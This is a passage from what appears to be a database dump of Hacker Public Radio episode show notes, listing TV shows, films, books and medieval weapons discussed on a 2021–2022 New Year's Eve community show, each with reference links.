href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/dick-van-dyke-show/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/dick-van-dyke-show/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Dick_Van_Dyke_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Dick_Van_Dyke_Show</a></p>\n<p>Mary Tyler Moore Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0065314/\" class=\"uri\">https://www.imdb.com/title/tt0065314/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Mary_Tyler_Moore_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Mary_Tyler_Moore_Show</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1970s/mary-tyler-moore-show/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1970s/mary-tyler-moore-show/</a></p>\n<p>Bewitched</p>\n<p><a href=\"https://www.imdb.com/title/tt0057733/\" class=\"uri\">https://www.imdb.com/title/tt0057733/</a></p>\n<p><a href=\"https://tubitv.com/series/300006608/bewitched\" class=\"uri\">https://tubitv.com/series/300006608/bewitched</a></p>\n<p><a href=\"https://nostalgiacentral.com/?s=bewitched\" class=\"uri\">https://nostalgiacentral.com/?s=bewitched</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/bewitched-2/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/bewitched-2/</a></p>\n<p>McHale\'s Navy</p>\n<p><a href=\"https://www.imdb.com/title/tt0055689/\" class=\"uri\">https://www.imdb.com/title/tt0055689/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/McHale%27s_Navy\" class=\"uri\">https://en.wikipedia.org/wiki/McHale%27s_Navy</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/mchales-navy/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/mchales-navy/</a></p>\n<p>F Troop</p>\n<p><a href=\"https://www.imdb.com/title/tt0058800/\" class=\"uri\">https://www.imdb.com/title/tt0058800/</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/f-troop/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/f-troop/</a></p>\n<p>Hogan\'s Heroes</p>\n<p><a href=\"https://hogansheroes.fandom.com/wiki/Hogan%27s_Heroes\" class=\"uri\">https://hogansheroes.fandom.com/wiki/Hogan%27s_Heroes</a></p>\n<p><a href=\"https://www.imdb.com/title/tt0058812/\" class=\"uri\">https://www.imdb.com/title/tt0058812/</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/hogans-heroes/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/hogans-heroes/</a></p>\n<p>Phil Silver\'s Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0047763/\" class=\"uri\">https://www.imdb.com/title/tt0047763/</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1950s/phil-silvers-show/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1950s/phil-silvers-show/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Phil_Silvers_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Phil_Silvers_Show</a></p>\n<p>Sgt. Bilko (movie with Steve Martin)</p>\n<p><a href=\"https://www.imdb.com/title/tt0117608/\" class=\"uri\">https://www.imdb.com/title/tt0117608/</a></p>\n<p>Adam Sandler</p>\n<p><a href=\"https://www.imdb.com/name/nm0001191/\" class=\"uri\">https://www.imdb.com/name/nm0001191/</a></p>\n<p>Brooklyn 99</p>\n<p><a href=\"https://www.imdb.com/title/tt2467372/\" class=\"uri\">https://www.imdb.com/title/tt2467372/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Brooklyn_Nine-Nine\" class=\"uri\">https://en.wikipedia.org/wiki/Brooklyn_Nine-Nine</a></p>\n<p>Idiocracy</p>\n<p><a href=\"https://www.imdb.com/title/tt0387808/\" class=\"uri\">https://www.imdb.com/title/tt0387808/</a></p>\n<p><a href=\"https://archive.org/details/Idiocracy_201507\" class=\"uri\">https://archive.org/details/Idiocracy_201507</a></p>\n<p>Blazing Saddles</p>\n<p><a href=\"https://www.imdb.com/title/tt0071230/\" class=\"uri\">https://www.imdb.com/title/tt0071230/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Blazing_Saddles\" class=\"uri\">https://en.wikipedia.org/wiki/Blazing_Saddles</a></p>\n<p><a href=\"https://www.rollingstone.com/tv-movies/tv-movie-features/mel-brooks-why-blazing-saddles-is-the-funniest-movie-ever-made-252004/\" class=\"uri\">https://www.rollingstone.com/tv-movies/tv-movie-features/mel-brooks-why-blazing-saddles-is-the-funniest-movie-ever-made-252004/</a></p>\n<p>Young Frankenstein</p>\n<p><a href=\"https://www.imdb.com/title/tt0072431/\" class=\"uri\">https://www.imdb.com/title/tt0072431/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Young_Frankenstein\" class=\"uri\">https://en.wikipedia.org/wiki/Young_Frankenstein</a></p>\n<p><a href=\"https://www.cinemablend.com/news/2573686/young-frankenstein-behind-the-scenes-facts-about-the-mel-brooks-movie\" class=\"uri\">https://www.cinemablend.com/news/2573686/young-frankenstein-behind-the-scenes-facts-about-the-mel-brooks-movie</a></p>\n<p>Silent Movie</p>\n<p><a href=\"https://www.imdb.com/title/tt0075222/\" class=\"uri\">https://www.imdb.com/title/tt0075222/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Silent_Movie\" class=\"uri\">https://en.wikipedia.org/wiki/Silent_Movie</a></p>\n<p>High Anxiety</p>\n<p><a href=\"https://www.imdb.com/title/tt0076141/\" class=\"uri\">https://www.imdb.com/title/tt0076141/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/High_Anxiety\" class=\"uri\">https://en.wikipedia.org/wiki/High_Anxiety</a></p>\n<p>Spaceballs</p>\n<p><a href=\"https://www.imdb.com/title/tt0094012/\" class=\"uri\">https://www.imdb.com/title/tt0094012/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Spaceballs\" class=\"uri\">https://en.wikipedia.org/wiki/Spaceballs</a></p>\n<p>Robin Hood : Men In Tights</p>\n<p><a href=\"https://www.imdb.com/title/tt0107977/\" class=\"uri\">https://www.imdb.com/title/tt0107977/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Robin_Hood:_Men_in_Tights\" class=\"uri\">https://en.wikipedia.org/wiki/Robin_Hood:_Men_in_Tights</a></p>\n<p>Robin Hood Prince Of Thieves</p>\n<p><a href=\"https://www.imdb.com/title/tt0102798/\" class=\"uri\">https://www.imdb.com/title/tt0102798/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Robin_Hood:_Prince_of_Thieves\" class=\"uri\">https://en.wikipedia.org/wiki/Robin_Hood:_Prince_of_Thieves</a></p>\n<p>Princess Bride</p>\n<p><a href=\"https://www.imdb.com/title/tt0093779/\" class=\"uri\">https://www.imdb.com/title/tt0093779/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Princess_Bride_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Princess_Bride_(film)</a></p>\n<p>Mawg (Spaceballs)</p>\n<p><a href=\"https://spaceballs.fandom.com/wiki/Barf\" class=\"uri\">https://spaceballs.fandom.com/wiki/Barf</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3682,'2022-09-13','2021-2022 New Years Show Part 5',11161,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\r\n<h3 id=\"part-5\">Part 5</h3>\r\n<p>What is a Recliner Chair</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Recliner\" class=\"uri\">https://en.wikipedia.org/wiki/Recliner</a></p>\r\n<p>Shillelagh</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Shillelagh\" class=\"uri\">https://en.wikipedia.org/wiki/Shillelagh</a></p>\r\n<p>Goedendag</p>\r\n<p><a href=\"https://www.military-history.org/feature/medieval/the-goedendag-medieval-weaponry.htm\" class=\"uri\">https://www.military-history.org/feature/medieval/the-goedendag-medieval-weaponry.htm</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Goedendag\" class=\"uri\">https://en.wikipedia.org/wiki/Goedendag</a></p>\r\n<p>Flail</p>\r\n<p><a href=\"https://medievalbritain.com/type/medieval-life/weapons/medieval-flail/\" class=\"uri\">https://medievalbritain.com/type/medieval-life/weapons/medieval-flail/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Flail_(weapon)\" class=\"uri\">https://en.wikipedia.org/wiki/Flail_(weapon)</a></p>\r\n<p><a href=\"http://myarmoury.com/talk/viewtopic.12645.html\" class=\"uri\">http://myarmoury.com/talk/viewtopic.12645.html</a></p>\r\n<p>That \'70s Show</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0165598/\" class=\"uri\">https://www.imdb.com/title/tt0165598/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/That_%2770s_Show\" class=\"uri\">https://en.wikipedia.org/wiki/That_%2770s_Show</a></p>\r\n<p>Tommy Chong</p>\r\n<p><a href=\"https://tommychong.com/\" class=\"uri\">https://tommychong.com/</a></p>\r\n<p><a href=\"https://www.imdb.com/name/nm0001045/\" class=\"uri\">https://www.imdb.com/name/nm0001045/</a></p>\r\n<p>That \'80s Show</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0305472/\" class=\"uri\">https://www.imdb.com/title/tt0305472/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/That_%2780s_Show\" class=\"uri\">https://en.wikipedia.org/wiki/That_%2780s_Show</a></p>\r\n<p>The Goldbergs</p>\r\n<p><a href=\"https://www.imdb.com/title/tt2712740/\" class=\"uri\">https://www.imdb.com/title/tt2712740/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Goldbergs_(2013_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Goldbergs_(2013_TV_series)</a></p>\r\n<p>Leverage - Redemption</p>\r\n<p><a href=\"https://www.imdb.com/title/tt12197698/\" class=\"uri\">https://www.imdb.com/title/tt12197698/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Leverage:_Redemption\" class=\"uri\">https://en.wikipedia.org/wiki/Leverage:_Redemption</a></p>\r\n<p>The Librarians</p>\r\n<p><a href=\"https://www.imdb.com/title/tt3663490/\" class=\"uri\">https://www.imdb.com/title/tt3663490/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarians_(2014_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarians_(2014_TV_series)</a></p>\r\n<p>Warehouse 13</p>\r\n<p><a href=\"https://warehouse13.fandom.com/wiki/Warehouse_13_(Series)\" class=\"uri\">https://warehouse13.fandom.com/wiki/Warehouse_13_(Series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1132290/\" class=\"uri\">https://www.imdb.com/title/tt1132290/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Warehouse_13\" class=\"uri\">https://en.wikipedia.org/wiki/Warehouse_13</a></p>\r\n<p>The Librarian (TV Movies)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian_(franchise)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian_(franchise)</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Quest_for_the_Spear\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Quest_for_the_Spear</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Return_to_King_Solomon%27s_Mines\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Return_to_King_Solomon%27s_Mines</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Curse_of_the_Judas_Chalice\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Curse_of_the_Judas_Chalice</a></p>\r\n<p>Falling Skies</p>\r\n<p><a href=\"https://fallingskies.fandom.com/wiki/Falling_Skies_Wiki\" class=\"uri\">https://fallingskies.fandom.com/wiki/Falling_Skies_Wiki</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1462059/\" class=\"uri\">https://www.imdb.com/title/tt1462059/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Falling_Skies\" class=\"uri\">https://en.wikipedia.org/wiki/Falling_Skies</a></p>\r\n<p>Sanctuary</p>\r\n<p><a href=\"https://sanctuary.fandom.com/wiki/Sanctuary\" class=\"uri\">https://sanctuary.fandom.com/wiki/Sanctuary</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Sanctuary_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Sanctuary_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0965394/\" class=\"uri\">https://www.imdb.com/title/tt0965394/</a></p>\r\n<p>How I Met Your Mother</p>\r\n<p><a href=\"https://how-i-met-your-mother.fandom.com/wiki/How_I_Met_Your_Mother\" class=\"uri\">https://how-i-met-your-mother.fandom.com/wiki/How_I_Met_Your_Mother</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0460649/\" class=\"uri\">https://www.imdb.com/title/tt0460649/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/How_I_Met_Your_Mother\" class=\"uri\">https://en.wikipedia.org/wiki/How_I_Met_Your_Mother</a></p>\r\n<p>Doogie Houser, MD</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Doogie_Howser,_M.D\" class=\"uri\">https://en.wikipedia.org/wiki/Doogie_Howser,_M.D</a>.</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0096569/\" class=\"uri\">https://www.imdb.com/title/tt0096569/</a></p>\r\n<p>The Wonder Years</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Wonder_Years\" class=\"uri\">https://en.wikipedia.org/wiki/The_Wonder_Years</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0094582/\" class=\"uri\">https://www.imdb.com/title/tt0094582/</a></p>\r\n<p>Defiance</p>\r\n<p><a href=\"https://defiance.fandom.com/wiki/Defiance_(TV)\" class=\"uri\">https://defiance.fandom.com/wiki/Defiance_(TV)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1034303/\" class=\"uri\">https://www.imdb.com/title/tt1034303/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Defiance_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Defiance_(TV_series)</a></p>\r\n<p>Firefly</p>\r\n<p><a href=\"https://firefly.fandom.com/wiki/Firefly\" class=\"uri\">https://firefly.fandom.com/wiki/Firefly</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Firefly_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Firefly_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0303461/\" class=\"uri\">https://www.imdb.com/title/tt0303461/</a></p>\r\n<p>KillJoys</p>\r\n<p><a href=\"https://killjoys.fandom.com/wiki/Killjoys\" class=\"uri\">https://killjoys.fandom.com/wiki/Killjoys</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3952222/\" class=\"uri\">https://www.imdb.com/title/tt3952222/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Killjoys\" class=\"uri\">https://en.wikipedia.org/wiki/Killjoys</a></p>\r\n<p>Cowboy BeBop</p>\r\n<p><a href=\"https://cowboybebop.fandom.com/wiki/Main_Page\" class=\"uri\">https://cowboybebop.fandom.com/wiki/Main_Page</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Cowboy_Bebop\" class=\"uri\">https://en.wikipedia.org/wiki/Cowboy_Bebop</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0213338/\" class=\"uri\">https://www.imdb.com/title/tt0213338/</a></p>\r\n<p>The Orville</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Orville\" class=\"uri\">https://en.wikipedia.org/wiki/The_Orville</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt5691552/\" class=\"uri\">https://www.imdb.com/title/tt5691552/</a></p>\r\n<p>Star Trek Enterprise</p>\r\n<p><a href=\"https://memory-alpha.fandom.com/wiki/Star_Trek:_Enterprise\" class=\"uri\">https://memory-alpha.fandom.com/wiki/Star_Trek:_Enterprise</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0244365/\" class=\"uri\">https://www.imdb.com/title/tt0244365/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Trek:_Enterprise\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Trek:_Enterprise</a></p>\r\n<p>Eureka</p>\r\n<p><a href=\"https://eureka.fandom.com/wiki/Eureka_(TV_series)\" class=\"uri\">https://eureka.fandom.com/wiki/Eureka_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0796264/\" class=\"uri\">https://www.imdb.com/title/tt0796264/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Eureka_(American_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Eureka_(American_TV_series)</a></p>\r\n<p>Supernatural</p>\r\n<p><a href=\"https://supernatural.fandom.com/wiki/Supernatural_Wiki\" class=\"uri\">https://supernatural.fandom.com/wiki/Supernatural_Wiki</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0460681/\" class=\"uri\">https://www.imdb.com/title/tt0460681/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Supernatural_(American_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Supernatural_(American_TV_series)</a></p>\r\n<p>Project Hail Mary (book)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Project_Hail_Mary\" class=\"uri\">https://en.wikipedia.org/wiki/Project_Hail_Mary</a></p>\r\n<p>SETI - The Search For Extraterrestrial Intelligence</p>\r\n<p><a href=\"https://www.seti.org/\" class=\"uri\">https://www.seti.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Search_for_extraterrestrial_intelligence\" class=\"uri\">https://en.wikipedia.org/wiki/Search_for_extraterrestrial_intelligence</a></p>\r\n<p><a href=\"https://setiathome.berkeley.edu/\" class=\"uri\">https://setiathome.berkeley.edu/</a></p>\r\n<p>Red Dwarf</p>\r\n<p><a href=\"https://reddwarf.co.uk/\" class=\"uri\">https://reddwarf.co.uk/</a></p>\r\n<p><a href=\"https://reddwarf.fandom.com/wiki/Red_Dwarf\" class=\"uri\">https://reddwarf.fandom.com/wiki/Red_Dwarf</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Red_Dwarf\" class=\"uri\">https://en.wikipedia.org/wiki/Red_Dwarf</a></p>\r\n<p>Farscape</p>\r\n<p><a href=\"https://farscape.fandom.com/wiki/Farscape_Encyclopedia_Project:Main_Page\" class=\"uri\">https://farscape.fandom.com/wiki/Farscape_Encyclopedia_Project:Main_Page</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0187636/\" class=\"uri\">https://www.imdb.com/title/tt0187636/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Farscape\" class=\"uri\">https://en.wikipedia.org/wiki/Farscape</a></p>\r\n<p>Farscape: The Peacekeeper Wars</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0387736/\" class=\"uri\">https://www.imdb.com/title/tt0387736/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Farscape:_The_Peacekeeper_Wars\" class=\"uri\">https://en.wikipedia.org/wiki/Farscape:_The_Peacekeeper_Wars</a></p>\r\n<p>Deep Space 9</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0106145/\" class=\"uri\">https://www.imdb.com/title/tt0106145/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Star_Trek:_Deep_Space_Nine\" class=\"uri\">https://en.wikipedia.org/wiki/Star_Trek:_Deep_Space_Nine</a></p>\r\n<p><a href=\"https://memory-alpha.fandom.com/wiki/Star_Trek:_Deep_Space_Nine\" class=\"uri\">https://memory-alpha.fandom.com/wiki/Star_Trek:_Deep_Space_Nine</a></p>\r\n<p>Torchwood</p>\r\n<p><a href=\"https://tardis.fandom.com/wiki/Torchwood_(series)\" class=\"uri\">https://tardis.fandom.com/wiki/Torchwood_(series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0485301/\" class=\"uri\">https://www.imdb.com/title/tt0485301/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Torchwood\" class=\"uri\">https://en.wikipedia.org/wiki/Torchwood</a></p>\r\n<p>Robert Murray Smith - Battery Tech Youtube Channel (Bromine Fusion Reactor?)</p>\r\n<p><a href=\"https://www.youtube.com/c/RobertMurraySmith\" class=\"uri\">https://www.youtube.com/c/RobertMurraySmith</a></p>\r\n<p>Californication</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0904208/\" class=\"uri\">https://www.imdb.com/title/tt0904208/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Californication_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Californication_(TV_series)</a></p>\r\n<p>Mister Robot</p>\r\n<p><a href=\"https://mrrobot.fandom.com/wiki/Mr._Robot\" class=\"uri\">https://mrrobot.fandom.com/wiki/Mr._Robot</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt4158110/\" class=\"uri\">https://www.imdb.com/title/tt4158110/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Mr._Robot\" class=\"uri\">https://en.wikipedia.org/wiki/Mr._Robot</a></p>\r\n<p>American Gods (book and TV series)</p>\r\n<p><a href=\"https://americangods.fandom.com/wiki/American_Gods_Wiki\" class=\"uri\">https://americangods.fandom.com/wiki/American_Gods_Wiki</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/American_Gods_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/American_Gods_(TV_series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1898069/\" class=\"uri\">https://www.imdb.com/title/tt1898069/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/American_Gods\" class=\"uri\">https://en.wikipedia.org/wiki/American_Gods</a></p>\r\n<p><a href=\"https://www.neilgaiman.com/works/Books/American+Gods/\" class=\"uri\">https://www.neilgaiman.com/works/Books/American+Gods/</a></p>\r\n<p>Neil Gaiman</p>\r\n<p><a href=\"https://www.neilgaiman.com/\" class=\"uri\">https://www.neilgaiman.com/</a></p>\r\n<p><a href=\"https://journal.neilgaiman.com/\" class=\"uri\">https://journal.neilgaiman.com/</a></p>\r\n<p><a href=\"https://www.mousecircus.com/\" class=\"uri\">https://www.mousecircus.com/</a></p>\r\n<p>Good Omens (book and TV series)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1869454/\" class=\"uri\">https://www.imdb.com/title/tt1869454/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Good_Omens_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Good_Omens_(TV_series)</a></p>\r\n<p><a href=\"https://www.neilgaiman.com/works/Books/Good+Omens/\" class=\"uri\">https://www.neilgaiman.com/works/Books/Good+Omens/</a></p>\r\n<p><a href=\"https://www.terrypratchettbooks.com/books/good-omens/\" class=\"uri\">https://www.terrypratchettbooks.com/books/good-omens/</a></p>\r\n<p>The Pretender</p>\r\n<p><a href=\"https://pretender.fandom.com/wiki/The_Pretender\" class=\"uri\">https://pretender.fandom.com/wiki/The_Pretender</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0115320/\" class=\"uri\">https://www.imdb.com/title/tt0115320/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Pretender_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Pretender_(TV_series)</a></p>\r\n<p>Parker Lewis Can\'t Loose</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Parker_Lewis_Can%27t_Lose\" class=\"uri\">https://en.wikipedia.org/wiki/Parker_Lewis_Can%27t_Lose</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0098888/\" class=\"uri\">https://www.imdb.com/title/tt0098888/</a></p>\r\n<p>Ferris Bueller\'s Day Off</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0091042/\" class=\"uri\">https://www.imdb.com/title/tt0091042/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Ferris_Bueller%27s_Day_Off\" class=\"uri\">https://en.wikipedia.org/wiki/Ferris_Bueller%27s_Day_Off</a></p>\r\n<p><a href=\"https://www.inverse.com/culture/ferris-buellers-day-off-cameron-red-jersey\" class=\"uri\">https://www.inverse.com/culture/ferris-buellers-day-off-cameron-red-jersey</a></p>\r\n<p>Rock and Roll High School Forever</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0100504/\" class=\"uri\">https://www.imdb.com/title/tt0100504/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rock_%27n%27_Roll_High_School_Forever\" class=\"uri\">https://en.wikipedia.org/wiki/Rock_%27n%27_Roll_High_School_Forever</a></p>\r\n<p>Inspector Gadget</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0085033/\" class=\"uri\">https://www.imdb.com/title/tt0085033/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3910690/\" class=\"uri\">https://www.imdb.com/title/tt3910690/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Inspector_Gadget_(1983_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Inspector_Gadget_(1983_TV_series)</a></p>\r\n<p>Into The Badlands</p>\r\n<p><a href=\"https://www.imdb.com/title/tt3865236/\" class=\"uri\">https://www.imdb.com/title/tt3865236/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Into_the_Badlands_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Into_the_Badlands_(TV_series)</a></p>\r\n<p>Journey To The West</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Journey_to_the_West\" class=\"uri\">https://en.wikipedia.org/wiki/Journey_to_the_West</a></p>\r\n<p>Dark Crystal - Age Of Resistance (TV Show)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt6905542/\" class=\"uri\">https://www.imdb.com/title/tt6905542/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Dark_Crystal:_Age_of_Resistance\" class=\"uri\">https://en.wikipedia.org/wiki/The_Dark_Crystal:_Age_of_Resistance</a></p>\r\n<p><a href=\"https://www.syfy.com/syfy-wire/dark-crystal-age-of-resistance-netflix-lisa-henson-whats-next\" class=\"uri\">https://www.syfy.com/syfy-wire/dark-crystal-age-of-resistance-netflix-lisa-henson-whats-next</a></p>\r\n<p>Night Court</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0086770/\" class=\"uri\">https://www.imdb.com/title/tt0086770/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Night_Court\" class=\"uri\">https://en.wikipedia.org/wiki/Night_Court</a></p>\r\n<p>PBS</p>\r\n<p><a href=\"https://www.pbs.org/\" class=\"uri\">https://www.pbs.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/PBS\" class=\"uri\">https://en.wikipedia.org/wiki/PBS</a></p>\r\n<p>Metal Hurlant Chronicles</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1629348/\" class=\"uri\">https://www.imdb.com/title/tt1629348/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/M%C3%A9tal_Hurlant_Chronicles\" class=\"uri\">https://en.wikipedia.org/wiki/M%C3%A9tal_Hurlant_Chronicles</a></p>\r\n<p>Metal Hurlant (comic/magazine)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/M%C3%A9tal_hurlant\" class=\"uri\">https://en.wikipedia.org/wiki/M%C3%A9tal_hurlant</a></p>\r\n<p><a href=\"https://www.openculture.com/2017/08/metal-hurlant.html\" class=\"uri\">https://www.openculture.com/2017/08/metal-hurlant.html</a></p>\r\n<p>Heavy Metal Magazine</p>\r\n<p><a href=\"https://www.heavymetal.com/\" class=\"uri\">https://www.heavymetal.com/</a></p>\r\n<p><a href=\"http://www.heavymetalmagazinefanpage.com/index.html\" class=\"uri\">http://www.heavymetalmagazinefanpage.com/index.html</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heavy_Metal_(magazine)\" class=\"uri\">https://en.wikipedia.org/wiki/Heavy_Metal_(magazine)</a></p>\r\n<p>Heavy Metal (movie)</p>\r\n<p><a href=\"https://heavymetalmedia.fandom.com/wiki/Heavy_Metal_1981\" class=\"uri\">https://heavymetalmedia.fandom.com/wiki/Heavy_Metal_1981</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0082509/\" class=\"uri\">https://www.imdb.com/title/tt0082509/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heavy_Metal_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/Heavy_Metal_(film)</a></p>\r\n<p>Total Recall 2070 (TV Show)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0159920/\" class=\"uri\">https://www.imdb.com/title/tt0159920/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Total_Recall_2070\" class=\"uri\">https://en.wikipedia.org/wiki/Total_Recall_2070</a></p>\r\n<p>Sapphire and 